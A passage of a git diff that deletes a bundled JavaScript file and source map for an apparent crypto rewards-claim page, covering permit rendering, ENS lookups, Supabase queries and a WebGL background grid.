app.currentExplorerUrl); - renderTokenFields(reward.tokenAddress, app.currentExplorerUrl); - const { GITHUB_REPOSITORY_NAME, GITHUB_CONTRIBUTION_TYPE, GITHUB_ISSUE_ID, GITHUB_ORGANIZATION_NAME, GITHUB_USERNAME } = reward.erc721Request?.metadata || {}; - renderDetailsFields([ - { - name: "NFT address", - value: `${reward.tokenAddress}` - }, - { - name: "Expiry", - value: BigNumber2.from(reward.deadline).lte(Number.MAX_SAFE_INTEGER.toString()) ? new Date(Number(reward.deadline)).toLocaleString() : void 0 - }, - { - name: "GitHub Organization", - value: `${GITHUB_ORGANIZATION_NAME}` - }, - { - name: "GitHub Repository", - value: `${GITHUB_REPOSITORY_NAME}` - }, - { - name: "GitHub Issue", - value: `${GITHUB_ISSUE_ID}` - }, - { - name: "GitHub Username", - value: `${GITHUB_USERNAME}` - }, - { name: "Contribution Type", value: GITHUB_CONTRIBUTION_TYPE?.split(",").join(", ") } - ]); - table3.setAttribute(`data-make-claim-rendered`, "true"); - return requestedAmountElement; - } - function renderDetailsFields(additionalDetails) { - const additionalDetailsDiv = document.getElementById("additionalDetailsTable"); - let additionalDetailsHtml = ""; - for (const { name, value } of additionalDetails) { - if (!value) - continue; - additionalDetailsHtml += ` -
${name}
-
${value}
- `; - } - additionalDetailsDiv.innerHTML = additionalDetailsHtml; - } - function renderTokenFields(tokenAddress, explorerUrl) { - const tokenFull = document.querySelector("#Token .full"); - const tokenShort = document.querySelector("#Token .short"); - tokenFull.innerHTML = `
${tokenAddress}
`; - tokenShort.innerHTML = `
${shortenAddress(tokenAddress)}
`; - const tokenBoth = document.getElementById(`rewardToken`); - tokenBoth.innerHTML = `${tokenBoth.innerHTML}`; - } - function renderToFields(receiverAddress, explorerUrl) { - const toFull = document.querySelector("#rewardRecipient .full"); - const toShort = document.querySelector("#rewardRecipient .short"); - if (!toFull || !toShort) - return; - toFull.innerHTML = `
${receiverAddress}
`; - toShort.innerHTML = `
${shortenAddress(receiverAddress)}
`; - const toBoth = document.getElementById(`rewardRecipient`); - toBoth.innerHTML = `${toBoth.innerHTML}`; - } - - // static/scripts/rewards/abis/cirip.json - var cirip_default = [ - { - inputs: [ - { - internalType: "contract ENS", - name: "_ens", - type: "address" - } - ], - stateMutability: "nonpayable", - type: "constructor" - }, - { - inputs: [ - { - internalType: "address[]", - name: "addresses", - type: "address[]" - } - ], - name: "getNames", - outputs: [ - { - internalType: "string[]", - name: "r", - type: "string[]" - } - ], - stateMutability: "view", - type: "function" - } - ]; - - // static/scripts/rewards/cirip/query-graph.ts - async function queryGraph(endpoint, query) { - const response = await fetch(endpoint, { - method: "POST", - headers: { - "Content-Type": "application/json", - Accept: "application/json" - }, - body: JSON.stringify({ query }) - }); - return response.json(); - } - - // static/scripts/rewards/cirip/fetch-ens.ts - async function fetchEns(address) { - const endpoint = "https://api.thegraph.com/subgraphs/name/ensdomains/ens"; - const query = `{ - domains(where:{owner:"${address.toLowerCase()}"}) { - name - } - }`; - const res = await queryGraph(endpoint, query); - return res.data.domains.map((domain) => domain.name); - } - - // static/scripts/rewards/cirip/query-reverse-ens.ts - async function queryReverseEns(address, networkId) { - const cachedEnsName = localStorage.getItem(address); - const endpoint = app.provider?.connection.url || (await useRpcHandler(app)).connection.url; - if (!endpoint) { - console.error("ENS lookup failed: No endpoint found for network ID", networkId); - if (cachedEnsName) - return cachedEnsName; - } - if (cachedEnsName) { - return cachedEnsName; - } else { - const data = reverseEnsInterface.encodeFunctionData("getNames", [[address.substring(2)]]); - const response = await fetch(endpoint, { - method: "POST", - headers: { - "Content-Type": "application/json" - }, - body: JSON.stringify({ - jsonrpc: "2.0", - id: "1", - method: "eth_call", - params: [{ to: "0x3671aE578E63FdF66ad4F3E12CC0c0d71Ac7510C", data }, "latest"] - }) - }); - if (!response.ok) { - console.error("ENS lookup failed: API request failed"); - return ""; - } - const ensName = await response.text(); - localStorage.setItem(address, ensName); - return ensName; - } - } - - // static/scripts/rewards/cirip/ens-lookup.ts - var reverseEnsInterface = new ethers_exports.utils.Interface(cirip_default); - async function ensLookup(addr, networkId) { - const _address = "/".concat(addr); - const start = _address.indexOf("/0x"); - if (start == -1) - throw "No ethereum address provided."; - if (_address.length <= 42 + start) { - throw "Invalid ethereum address provided."; - } - const address = _address.substring(start + 1, start + 43).toLowerCase(); - let reverseRecord = null; - try { - reverseRecord = await queryReverseEns(address, networkId); - const responseParsed = JSON.parse(reverseRecord).result; - const _reverseRecord = ethers_exports.utils.defaultAbiCoder.decode([ethers_exports.utils.ParamType.from("string[]")], responseParsed); - reverseRecord = _reverseRecord[0][0]; - } catch (e) { - console.error(e); - } - const allDomains = await fetchEns(address); - if (reverseRecord == "") { - reverseRecord = null; - } - if (reverseRecord != null && !allDomains.includes(reverseRecord)) { - console.warn("Failed to validate! Reverse record set to " + reverseRecord + ", but user does not own this name."); - reverseRecord = null; - } - return { - reverseRecord, - domains: allDomains - }; - } - - // static/scripts/rewards/render-transaction/render-ens-name.ts - async function renderEnsName({ element, address, tokenAddress, tokenView, networkId }) { - let href = ""; - try { - const resolved = await ensLookup(address, networkId); - let ensName; - if (resolved.reverseRecord) { - ensName = resolved.reverseRecord; - } else if (resolved.domains.length) { - const domain = resolved.domains.shift(); - if (domain) { - ensName = domain; - } - } - if (ensName) { - if (tokenView) { - href = `${app.currentExplorerUrl}/token/${tokenAddress}?a=${address}`; - } else { - href = `${app.currentExplorerUrl}/address/${address}"`; - } - element.innerHTML = `${ensName}`; - } - } catch (error) { - console.error(error); - } - } - - // static/scripts/rewards/render-transaction/render-token-symbol.ts - async function renderTokenSymbol({ - table: table3, - requestedAmountElement, - tokenAddress, - ownerAddress, - amount, - explorerUrl - }) { - const contract = new ethers_exports.Contract(tokenAddress, erc20Abi, app.provider); - let symbol, decimals; - const tokenInfo = localStorage.getItem(tokenAddress); - if (tokenInfo) { - const { decimals: storedDecimals, symbol: storedSymbol } = JSON.parse(tokenInfo); - decimals = storedDecimals; - symbol = storedSymbol; - } else { - [symbol, decimals] = await Promise.all([contract.symbol(), contract.decimals()]); - localStorage.setItem(tokenAddress, JSON.stringify({ decimals, symbol })); - } - let formattedAmount = parseFloat(utils_exports2.formatUnits(amount, decimals)); - if (Number.isInteger(formattedAmount)) { - formattedAmount = formattedAmount.toString(); - } else { - const decimals2 = Math.min(4, (formattedAmount.toString().split(".")[1] || "").length); - formattedAmount = formattedAmount.toFixed(decimals2); - } - table3.setAttribute(`data-contract-loaded`, "true"); - requestedAmountElement.innerHTML = `${formattedAmount} ${symbol}`; - } - async function renderNftSymbol({ - table: table3, - requestedAmountElement, - tokenAddress, - explorerUrl - }) { - const contract = new ethers_exports.Contract(tokenAddress, erc20Abi, app.provider); - let symbol; - const tokenInfo = localStorage.getItem(tokenAddress); - if (tokenInfo) { - const { symbol: storedSymbol } = JSON.parse(tokenInfo); - symbol = storedSymbol; - } else { - symbol = await contract.symbol(); - localStorage.setItem(tokenAddress, JSON.stringify({ symbol })); - } - table3.setAttribute(`data-contract-loaded`, "true"); - requestedAmountElement.innerHTML = `1 ${symbol}`; - } - - // static/scripts/rewards/render-transaction/render-transaction.ts - var carousel = document.getElementById("carousel"); - var table = document.querySelector(`table`); - async function renderTransaction() { - if (app.claims && app.claims.length > 1) { - carousel.className = "ready"; - const rewardsCount = document.getElementById("rewardsCount"); - rewardsCount.innerHTML = `${app.rewardIndex + 1}/${app.claims.length} reward`; - } - if (!app.reward) { - buttonController.hideAll(); - console.log("No reward found"); - return false; - } - verifyCurrentNetwork(app.reward.networkId).catch(console.error); - if (isErc20Permit(app.reward)) { - const treasury = await fetchTreasury(app.reward); - table.setAttribute(`data-additional-data-size`, "small"); - const requestedAmountElement = insertErc20PermitTableData(app, table, treasury); - renderTokenSymbol({ - tokenAddress: app.reward.tokenAddress, - ownerAddress: app.reward.owner, - amount: app.reward.amount, - explorerUrl: networkExplorers[app.reward.networkId], - table, - requestedAmountElement - }).catch(console.error); - const toElement = document.getElementById(`rewardRecipient`); - renderEnsName({ element: toElement, address: app.reward.beneficiary, networkId: app.networkId }).catch(console.error); - if (app.provider) { - checkRenderInvalidatePermitAdminControl(app).catch(console.error); - } - if (app.claimTxs[app.reward.nonce.toString()] !== void 0) { - buttonController.showViewClaim(); - viewClaimButton.addEventListener("click", () => window.open(`${app.currentExplorerUrl}/tx/${app.claimTxs[app.reward.nonce.toString()]}`)); - } else if (window.ethereum) { - buttonController.showMakeClaim(); - getMakeClaimButton().addEventListener("click", claimErc20PermitHandlerWrapper(app)); - } - table.setAttribute(`data-make-claim`, "ok"); - } else { - const requestedAmountElement = insertErc721PermitTableData(app.reward, table); - table.setAttribute(`data-make-claim`, "ok"); - table.setAttribute(`data-additional-data-size`, "large"); - renderNftSymbol({ - tokenAddress: app.reward.tokenAddress, - explorerUrl: networkExplorers[app.reward.networkId], - table, - requestedAmountElement - }).catch(console.error); - const toElement = document.getElementById(`rewardRecipient`); - renderEnsName({ element: toElement, address: app.reward.beneficiary, networkId: app.networkId }).catch(console.error); - getMakeClaimButton().addEventListener("click", claimErc721PermitHandler(app.reward)); - } - return true; - } - function isErc20Permit(permit) { - return permit.tokenType === import_types4.TokenType.ERC20; - } - - // static/scripts/rewards/render-transaction/utils.ts - function removeAllEventListeners(element) { - const clone = element.cloneNode(true); - element.replaceWith(clone); - return clone; - } - - // static/scripts/rewards/render-transaction/claim-rewards-pagination.ts - var nextTxButton = document.getElementById("nextTx"); - var prevTxButton = document.getElementById("prevTx"); - function claimRewardsPagination(rewardsCount) { - rewardsCount.innerHTML = `${app.rewardIndex + 1}/${app.claims.length} reward`; - if (nextTxButton) - nextTxButton.addEventListener("click", () => transactionHandler("next")); - if (prevTxButton) - prevTxButton.addEventListener("click", () => transactionHandler("previous")); - } - function transactionHandler(direction) { - removeAllEventListeners(getMakeClaimButton()); - direction === "next" ? app.nextPermit() : app.previousPermit(); - table2.setAttribute(`data-make-claim`, "error"); - renderTransaction().catch(console.error); - } - - // static/scripts/rewards/render-transaction/set-claim-message.ts - function setClaimMessage({ type, message }) { - const claimMessageType = document.querySelector(`table > thead th`); - const claimMessageBody = document.querySelector(`table > thead td`); - claimMessageType.innerHTML = `
${type}
`; - claimMessageBody.innerHTML = `
${message}
`; - } - - // static/scripts/rewards/render-transaction/read-claim-data-from-url.ts - var supabase = createClient("https://uorkbrlsegsfjspkluwj.supabase.co", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InVvcmticmxzZWdzZmpzcGtsdXdqIiwicm9sZSI6ImFub24iLCJpYXQiOjE3MjQwNTEyNDMsImV4cCI6MjAzOTYyNzI0M30.L56vrF6EOOEMnDL1xHQJVRg7PmnNvxHkkX7rsxNyz6o"); - var table2 = document.getElementsByTagName(`table`)[0]; - var urlParams = new URLSearchParams(window.location.search); - var base64encodedTxData = urlParams.get("claim"); - async function readClaimDataFromUrl(app2) { - if (!base64encodedTxData) { - setClaimMessage({ type: "Notice", message: `No claim data found.` }); - table2.setAttribute(`data-make-claim`, "error"); - return; - } - app2.claims = decodeClaimData(base64encodedTxData); - app2.claimTxs = await getClaimedTxs(app2); - try { - app2.provider = await useRpcHandler(app2); - } catch (e) { - if (e instanceof Error) { - toaster.create("error", e.message); - } else { - toaster.create("error", JSON.stringify(e)); - } - } - try { - app2.signer = await connectWallet(); - } catch (error) { - } - try { - window?.ethereum.on("accountsChanged", () => { - checkRenderMakeClaimControl(app2).catch(console.error); - checkRenderInvalidatePermitAdminControl(app2).catch(console.error); - }); - } catch (err) { - } - displayRewardDetails(); - displayRewardPagination(); - await renderTransaction(); - if (app2.networkId !== null) { - await verifyCurrentNetwork(app2.networkId); - } else { - throw new Error("Network ID is null"); - } - } - async function getClaimedTxs(app2) { - const txs = /* @__PURE__ */ Object.create(null); - for (const claim of app2.claims) { - const { data } = await supabase.from("permits").select("transaction").eq("nonce", claim.nonce.toString()); - if (data?.length == 1 && data[0].transaction !== null) { - txs[claim.nonce.toString()] = data[0].transaction; - } - } - return txs; - } - function decodeClaimData(base64encodedTxData2) { - let permit; - try { - permit = (0, import_handlers.decodePermits)(base64encodedTxData2); - return permit; - } catch (error) { - console.error(error); - setClaimMessage({ type: "Error", message: `Invalid claim data passed in URL` }); - table2.setAttribute(`data-make-claim`, "error"); - throw error; - } - } - function displayRewardPagination() { - const rewardsCount = document.getElementById("rewardsCount"); - if (rewardsCount) { - if (!app.claims || app.claims.length <= 1) { - } else { - claimRewardsPagination(rewardsCount); - } - } - } - function displayRewardDetails() { - let isDetailsVisible = false; - table2.setAttribute(`data-details-visible`, isDetailsVisible.toString()); - const additionalDetails = document.getElementById(`additionalDetails`); - additionalDetails.addEventListener("click", () => { - isDetailsVisible = !isDetailsVisible; - table2.setAttribute(`data-details-visible`, isDetailsVisible.toString()); - }); - } - - // static/scripts/rewards/the-grid.ts - function grid(node = document.body, callback) { - const canvas = document.createElement("canvas"); - const devicePixelRatio = window.devicePixelRatio || 1; - canvas.width = window.innerWidth * devicePixelRatio; - canvas.height = window.innerHeight * devicePixelRatio; - node.appendChild(canvas); - const gl = canvas.getContext("webgl"); - gl.enable(gl.BLEND); - gl.blendFunc(gl.SRC_ALPHA, gl.ONE_MINUS_SRC_ALPHA); - const vertexShaderSource = ` - attribute vec2 a_position; - - void main() { - gl_Position = vec4(a_position, 0, 1); - } -`; - const fragmentShaderSource = ` - precision mediump float; - - uniform vec2 u_resolution; - uniform float u_time; - - float rand(vec2 n) { - return fract(sin(dot(n, vec2(12.9898, 4.1414))) * 43758.5453); - } - - void main() { - vec3 color = vec3(128.0/255.0, 128.0/255.0, 128.0/255.0); // #808080 - vec2 tilePosition = mod(gl_FragCoord.xy, 24.0); - vec2 tileNumber = floor(gl_FragCoord.xy / 24.0); - - float period = rand(tileNumber) * 9.0 + 1.0; // Random value in the range [1, 10] - float phase = fract(u_time / period / 8.0); // Animation eight times slower - float opacity = (1.0 - abs(phase * 2.0 - 1.0)) * 0.125; // Limit maximum opacity to 0.25 - - vec4 backgroundColor = vec4(color, opacity); - - if (tilePosition.x > 23.0 && tilePosition.y < 1.0) { - gl_FragColor = vec4(color, 1.0); // Full opacity for the dot - } else { - gl_FragColor = backgroundColor; - } - } -`; - function createShader(gl2, type, source) { - const shader = gl2.createShader(type); - if (!shader) { - console.error("An error occurred creating the shaders"); - return null; - } - gl2.shaderSource(shader, source); - gl2.compileShader(shader); - if (!gl2.getShaderParameter(shader, gl2.COMPILE_STATUS)) { - console.error("An error occurred compiling the shaders: " + gl2.getShaderInfoLog(shader)); - gl2.deleteShader(shader); - return null; - } - return shader; - } - const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource); - if (!vertexShader) { - console.error("An error occurred creating the vertex shader"); - return; - } - const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource); - if (!fragmentShader) { - console.error("An error occurred creating the fragment shader"); - return; - } - const program = gl.createProgram(); - if (!program) { - console.error("An error occurred creating the program"); - return; - } - gl.attachShader(program, vertexShader); - gl.attachShader(program, fragmentShader); - gl.linkProgram(program); - if (!gl.getProgramParameter(program, gl.LINK_STATUS)) { - console.error("Unable to initialize the shader program: " + gl.getProgramInfoLog(program)); - return; - } - gl.useProgram(program); - const timeUniformLocation = gl.getUniformLocation(program, "u_time"); - const resolutionUniformLocation = gl.getUniformLocation(program, "u_resolution"); - const positionBuffer = gl.createBuffer(); - gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); - gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([-1, -1, 1, -1, -1, 1, 1, 1]), gl.STATIC_DRAW); - const positionAttributeLocation = gl.getAttribLocation(program, "a_position"); - gl.enableVertexAttribArray(positionAttributeLocation); - gl.vertexAttribPointer(positionAttributeLocation, 2, gl.FLOAT, false, 0, 0); - function resizeCanvasToDisplaySize(canvas2) { - const displayWidth = window.innerWidth; - const displayHeight = window.innerHeight; - if (canvas2.width != displayWidth || canvas2.height != displayHeight) { - canvas2.width = displayWidth; - canvas2.height = displayHeight; - gl.viewport(0, 0, canvas2.width, canvas2.height); - } - } - function render() { - resizeCanvasToDisplaySize(canvas); - gl.uniform2f(resolutionUniformLocation, canvas.width, canvas.height); - gl.clearColor(0, 0, 0, 1); - gl.clear(gl.COLOR_BUFFER_BIT); - gl.uniform1f(timeUniformLocation, performance.now() / 1e3); - gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4); - requestAnimationFrame(render); - } - window.addEventListener("resize", () => resizeCanvasToDisplaySize(canvas)); - if (callback) { - callback(); - } - render(); - } - - // static/scripts/rewards/init.ts - displayCommitHash(); - grid(document.getElementById("grid"), gridLoadedCallback); - readClaimDataFromUrl(app).catch(console.error); - var footer = document.querySelector(".footer"); - footer.classList.add("ready"); - function gridLoadedCallback() { - document.body.classList.add("grid-loaded"); - } -})(); -/*! Bundled license information: - -@ubiquibot/permit-generation/dist/handlers/index.js: - (** - * [js-sha3]{@link https://github.com/emn178/js-sha3} - * - * @version 0.8.0 - * @author Chen, Yi-Cyuan [emn178@gmail.com] - * @copyright Chen, Yi-Cyuan 2015-2018 - * @license MIT - *) - (*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) *) - (*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) *) - (*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. *) - -js-sha3/src/sha3.js: - (** - * [js-sha3]{@link https://github.com/emn178/js-sha3} - * - * @version 0.8.0 - * @author Chen, Yi-Cyuan [emn178@gmail.com] - * @copyright Chen, Yi-Cyuan 2015-2018 - * @license MIT - *) - -@ubiquity-dao/rpc-handler/dist/esm/index.js: - (*! Bundled license information: - - js-sha3/src/sha3.js: - (** - * [js-sha3]{@link https://github.com/emn178/js-sha3} - * - * @version 0.8.0 - * @author Chen, Yi-Cyuan [emn178@gmail.com] - * @copyright Chen, Yi-Cyuan 2015-2018 - * @license MIT - *) - *) -*/ -//# sourceMappingURL=bundles.js.map diff --git a/static/bundles/bundles.js.map b/static/bundles/bundles.js.map deleted file mode 100644 index 3dc628ae..00000000 --- a/static/bundles/bundles.js.map +++ /dev/null @@ -1,7 +0,0 @@ -{ - "version": 3, - "sources": ["../../node_modules/@supabase/node-fetch/browser.js", "../../node_modules/@supabase/postgrest-js/src/PostgrestError.ts", "../../node_modules/@supabase/postgrest-js/src/PostgrestBuilder.ts", "../../node_modules/@supabase/postgrest-js/src/PostgrestTransformBuilder.ts", "../../node_modules/@supabase/postgrest-js/src/PostgrestFilterBuilder.ts", "../../node_modules/@supabase/postgrest-js/src/PostgrestQueryBuilder.ts", "../../node_modules/@supabase/postgrest-js/src/version.ts", "../../node_modules/@supabase/postgrest-js/src/constants.ts", "../../node_modules/@supabase/postgrest-js/src/PostgrestClient.ts", "../../node_modules/@supabase/postgrest-js/src/index.ts", "../../node_modules/ws/browser.js", "../../node_modules/@ubiquibot/permit-generation/dist/handlers/index.js", "../../node_modules/bn.js/lib/bn.js", "../../node_modules/js-sha3/src/sha3.js", "../../node_modules/minimalistic-assert/index.js", "../../node_modules/inherits/inherits_browser.js", "../../node_modules/hash.js/lib/hash/utils.js", "../../node_modules/hash.js/lib/hash/common.js", "../../node_modules/hash.js/lib/hash/sha/common.js", "../../node_modules/hash.js/lib/hash/sha/1.js", "../../node_modules/hash.js/lib/hash/sha/256.js", "../../node_modules/hash.js/lib/hash/sha/224.js", "../../node_modules/hash.js/lib/hash/sha/512.js", "../../node_modules/hash.js/lib/hash/sha/384.js", "../../node_modules/hash.js/lib/hash/sha.js", "../../node_modules/hash.js/lib/hash/ripemd.js", "../../node_modules/hash.js/lib/hash/hmac.js", "../../node_modules/hash.js/lib/hash.js", "../../node_modules/aes-js/index.js", "../../node_modules/scrypt-js/scrypt.js", "../../node_modules/bech32/index.js", "../../node_modules/@ubiquibot/permit-generation/dist/types/index.js", "../../node_modules/@ubiquity-dao/rpc-handler/dist/esm/index.js", "../scripts/rewards/app-state.ts", "../scripts/rewards/render-transaction/display-commit-hash.ts", "../../node_modules/@supabase/functions-js/src/helper.ts", "../../node_modules/@supabase/functions-js/src/types.ts", "../../node_modules/@supabase/functions-js/src/FunctionsClient.ts", "../../node_modules/@supabase/postgrest-js/dist/esm/wrapper.mjs", "../../node_modules/@supabase/realtime-js/src/lib/version.ts", "../../node_modules/@supabase/realtime-js/src/lib/constants.ts", "../../node_modules/@supabase/realtime-js/src/lib/serializer.ts", "../../node_modules/@supabase/realtime-js/src/lib/timer.ts", "../../node_modules/@supabase/realtime-js/src/lib/transformers.ts", "../../node_modules/@supabase/realtime-js/src/lib/push.ts", "../../node_modules/@supabase/realtime-js/src/RealtimePresence.ts", "../../node_modules/@supabase/realtime-js/src/RealtimeChannel.ts", "../../node_modules/@supabase/realtime-js/src/RealtimeClient.ts", "../../node_modules/@supabase/storage-js/src/lib/errors.ts", "../../node_modules/@supabase/storage-js/src/lib/helpers.ts", "../../node_modules/@supabase/storage-js/src/lib/fetch.ts", "../../node_modules/@supabase/storage-js/src/packages/StorageFileApi.ts", "../../node_modules/@supabase/storage-js/src/lib/version.ts", "../../node_modules/@supabase/storage-js/src/lib/constants.ts", "../../node_modules/@supabase/storage-js/src/packages/StorageBucketApi.ts", "../../node_modules/@supabase/storage-js/src/StorageClient.ts", "../../node_modules/@supabase/supabase-js/src/lib/version.ts", "../../node_modules/@supabase/supabase-js/src/lib/constants.ts", "../../node_modules/@supabase/supabase-js/src/lib/fetch.ts", "../../node_modules/@supabase/supabase-js/src/lib/helpers.ts", "../../node_modules/@supabase/auth-js/src/lib/version.ts", "../../node_modules/@supabase/auth-js/src/lib/constants.ts", "../../node_modules/@supabase/auth-js/src/lib/helpers.ts", "../../node_modules/@supabase/auth-js/src/lib/errors.ts", "../../node_modules/@supabase/auth-js/src/lib/fetch.ts", "../../node_modules/@supabase/auth-js/src/GoTrueAdminApi.ts", "../../node_modules/@supabase/auth-js/src/lib/local-storage.ts", "../../node_modules/@supabase/auth-js/src/lib/polyfills.ts", "../../node_modules/@supabase/auth-js/src/lib/locks.ts", "../../node_modules/@supabase/auth-js/src/GoTrueClient.ts", "../../node_modules/@supabase/auth-js/src/AuthClient.ts", "../../node_modules/@supabase/supabase-js/src/lib/SupabaseAuthClient.ts", "../../node_modules/@supabase/supabase-js/src/SupabaseClient.ts", "../../node_modules/@supabase/supabase-js/src/index.ts", "../scripts/rewards/render-transaction/read-claim-data-from-url.ts", "../scripts/rewards/button-controller.ts", "../scripts/rewards/toaster.ts", "../../node_modules/ethers/src.ts/ethers.ts", "../../node_modules/@ethersproject/bignumber/src.ts/bignumber.ts", "../../node_modules/@ethersproject/logger/src.ts/_version.ts", "../../node_modules/@ethersproject/logger/src.ts/index.ts", "../../node_modules/@ethersproject/bytes/src.ts/_version.ts", "../../node_modules/@ethersproject/bytes/src.ts/index.ts", "../../node_modules/@ethersproject/bignumber/src.ts/_version.ts", "../../node_modules/@ethersproject/bignumber/src.ts/fixednumber.ts", "../../node_modules/@ethersproject/properties/src.ts/_version.ts", "../../node_modules/@ethersproject/properties/src.ts/index.ts", "../../node_modules/@ethersproject/abi/src.ts/_version.ts", "../../node_modules/@ethersproject/abi/src.ts/fragments.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/abstract-coder.ts", "../../node_modules/@ethersproject/keccak256/src.ts/index.ts", "../../node_modules/@ethersproject/rlp/src.ts/index.ts", "../../node_modules/@ethersproject/rlp/src.ts/_version.ts", "../../node_modules/@ethersproject/address/src.ts/_version.ts", "../../node_modules/@ethersproject/address/src.ts/index.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/address.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/anonymous.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/array.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/boolean.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/bytes.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/fixed-bytes.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/null.ts", "../../node_modules/@ethersproject/constants/src.ts/index.ts", "../../node_modules/@ethersproject/constants/src.ts/addresses.ts", "../../node_modules/@ethersproject/constants/src.ts/bignumbers.ts", "../../node_modules/@ethersproject/constants/src.ts/hashes.ts", "../../node_modules/@ethersproject/constants/src.ts/strings.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/number.ts", "../../node_modules/@ethersproject/strings/src.ts/_version.ts", "../../node_modules/@ethersproject/strings/src.ts/utf8.ts", "../../node_modules/@ethersproject/strings/src.ts/bytes32.ts", "../../node_modules/@ethersproject/strings/src.ts/idna.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/string.ts", "../../node_modules/@ethersproject/abi/src.ts/coders/tuple.ts", "../../node_modules/@ethersproject/abi/src.ts/abi-coder.ts", "../../node_modules/@ethersproject/hash/src.ts/id.ts", "../../node_modules/@ethersproject/hash/src.ts/_version.ts", "../../node_modules/@ethersproject/base64/src.ts/index.ts", "../../node_modules/@ethersproject/base64/src.ts/browser-base64.ts", "../../node_modules/@ethersproject/hash/src.ts/ens-normalize/decoder.ts", "../../node_modules/@ethersproject/hash/src.ts/ens-normalize/include.ts", "../../node_modules/@ethersproject/hash/src.ts/ens-normalize/lib.ts", "../../node_modules/@ethersproject/hash/src.ts/namehash.ts", "../../node_modules/@ethersproject/hash/src.ts/message.ts", "../../node_modules/@ethersproject/hash/src.ts/typed-data.ts", "../../node_modules/@ethersproject/abi/src.ts/interface.ts", "../../node_modules/@ethersproject/abstract-provider/src.ts/_version.ts", "../../node_modules/@ethersproject/abstract-provider/src.ts/index.ts", "../../node_modules/@ethersproject/abstract-signer/src.ts/_version.ts", "../../node_modules/@ethersproject/abstract-signer/src.ts/index.ts", "../../node_modules/node_modules/minimalistic-assert/index.js", "../../node_modules/node_modules/minimalistic-crypto-utils/lib/utils.js", "../../node_modules/node_modules/elliptic/lib/elliptic/utils.js", "../../node_modules/node_modules/elliptic/lib/elliptic/curve/base.js", "../../node_modules/node_modules/inherits/inherits_browser.js", "../../node_modules/node_modules/elliptic/lib/elliptic/curve/short.js", "../../node_modules/node_modules/elliptic/lib/elliptic/curve/index.js", "../../node_modules/node_modules/elliptic/lib/elliptic/curves.js", "../../node_modules/node_modules/hmac-drbg/lib/hmac-drbg.js", "../../node_modules/node_modules/elliptic/lib/elliptic/ec/key.js", "../../node_modules/node_modules/elliptic/lib/elliptic/ec/signature.js", "../../node_modules/node_modules/elliptic/lib/elliptic/ec/index.js", "../../node_modules/node_modules/elliptic/lib/elliptic.js", "../../node_modules/@ethersproject/signing-key/lib.esm/elliptic.js", "../../node_modules/@ethersproject/signing-key/src.ts/_version.ts", "../../node_modules/@ethersproject/signing-key/src.ts/index.ts", "../../node_modules/@ethersproject/transactions/src.ts/_version.ts", "../../node_modules/@ethersproject/transactions/src.ts/index.ts", "../../node_modules/@ethersproject/contracts/src.ts/_version.ts", "../../node_modules/@ethersproject/contracts/src.ts/index.ts", "../../node_modules/@ethersproject/basex/src.ts/index.ts", "../../node_modules/@ethersproject/sha2/src.ts/browser-sha2.ts", "../../node_modules/@ethersproject/sha2/src.ts/types.ts", "../../node_modules/@ethersproject/sha2/src.ts/_version.ts", "../../node_modules/@ethersproject/pbkdf2/src.ts/browser-pbkdf2.ts", "../../node_modules/@ethersproject/wordlists/src.ts/_version.ts", "../../node_modules/@ethersproject/wordlists/src.ts/wordlist.ts", "../../node_modules/@ethersproject/wordlists/src.ts/lang-en.ts", "../../node_modules/@ethersproject/wordlists/src.ts/browser-wordlists.ts", "../../node_modules/@ethersproject/hdnode/src.ts/_version.ts", "../../node_modules/@ethersproject/hdnode/src.ts/index.ts", "../../node_modules/@ethersproject/random/src.ts/_version.ts", "../../node_modules/@ethersproject/random/src.ts/browser-random.ts", "../../node_modules/@ethersproject/random/src.ts/shuffle.ts", "../../node_modules/@ethersproject/json-wallets/src.ts/crowdsale.ts", "../../node_modules/@ethersproject/json-wallets/src.ts/_version.ts", "../../node_modules/@ethersproject/json-wallets/src.ts/utils.ts", "../../node_modules/@ethersproject/json-wallets/src.ts/inspect.ts", "../../node_modules/@ethersproject/json-wallets/src.ts/keystore.ts", "../../node_modules/@ethersproject/json-wallets/src.ts/index.ts", "../../node_modules/@ethersproject/wallet/src.ts/_version.ts", "../../node_modules/@ethersproject/wallet/src.ts/index.ts", "../../node_modules/@ethersproject/providers/src.ts/index.ts", "../../node_modules/@ethersproject/networks/src.ts/_version.ts", "../../node_modules/@ethersproject/networks/src.ts/index.ts", "../../node_modules/@ethersproject/web/src.ts/_version.ts", "../../node_modules/@ethersproject/web/src.ts/browser-geturl.ts", "../../node_modules/@ethersproject/web/src.ts/index.ts", "../../node_modules/@ethersproject/providers/src.ts/base-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/_version.ts", "../../node_modules/@ethersproject/providers/src.ts/formatter.ts", "../../node_modules/@ethersproject/providers/src.ts/json-rpc-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/browser-ws.ts", "../../node_modules/@ethersproject/providers/src.ts/websocket-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/url-json-rpc-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/alchemy-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/ankr-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/cloudflare-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/etherscan-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/fallback-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/browser-ipc-provider.ts", "../../node_modules/@ethersproject/providers/src.ts/infura-provider.ts", 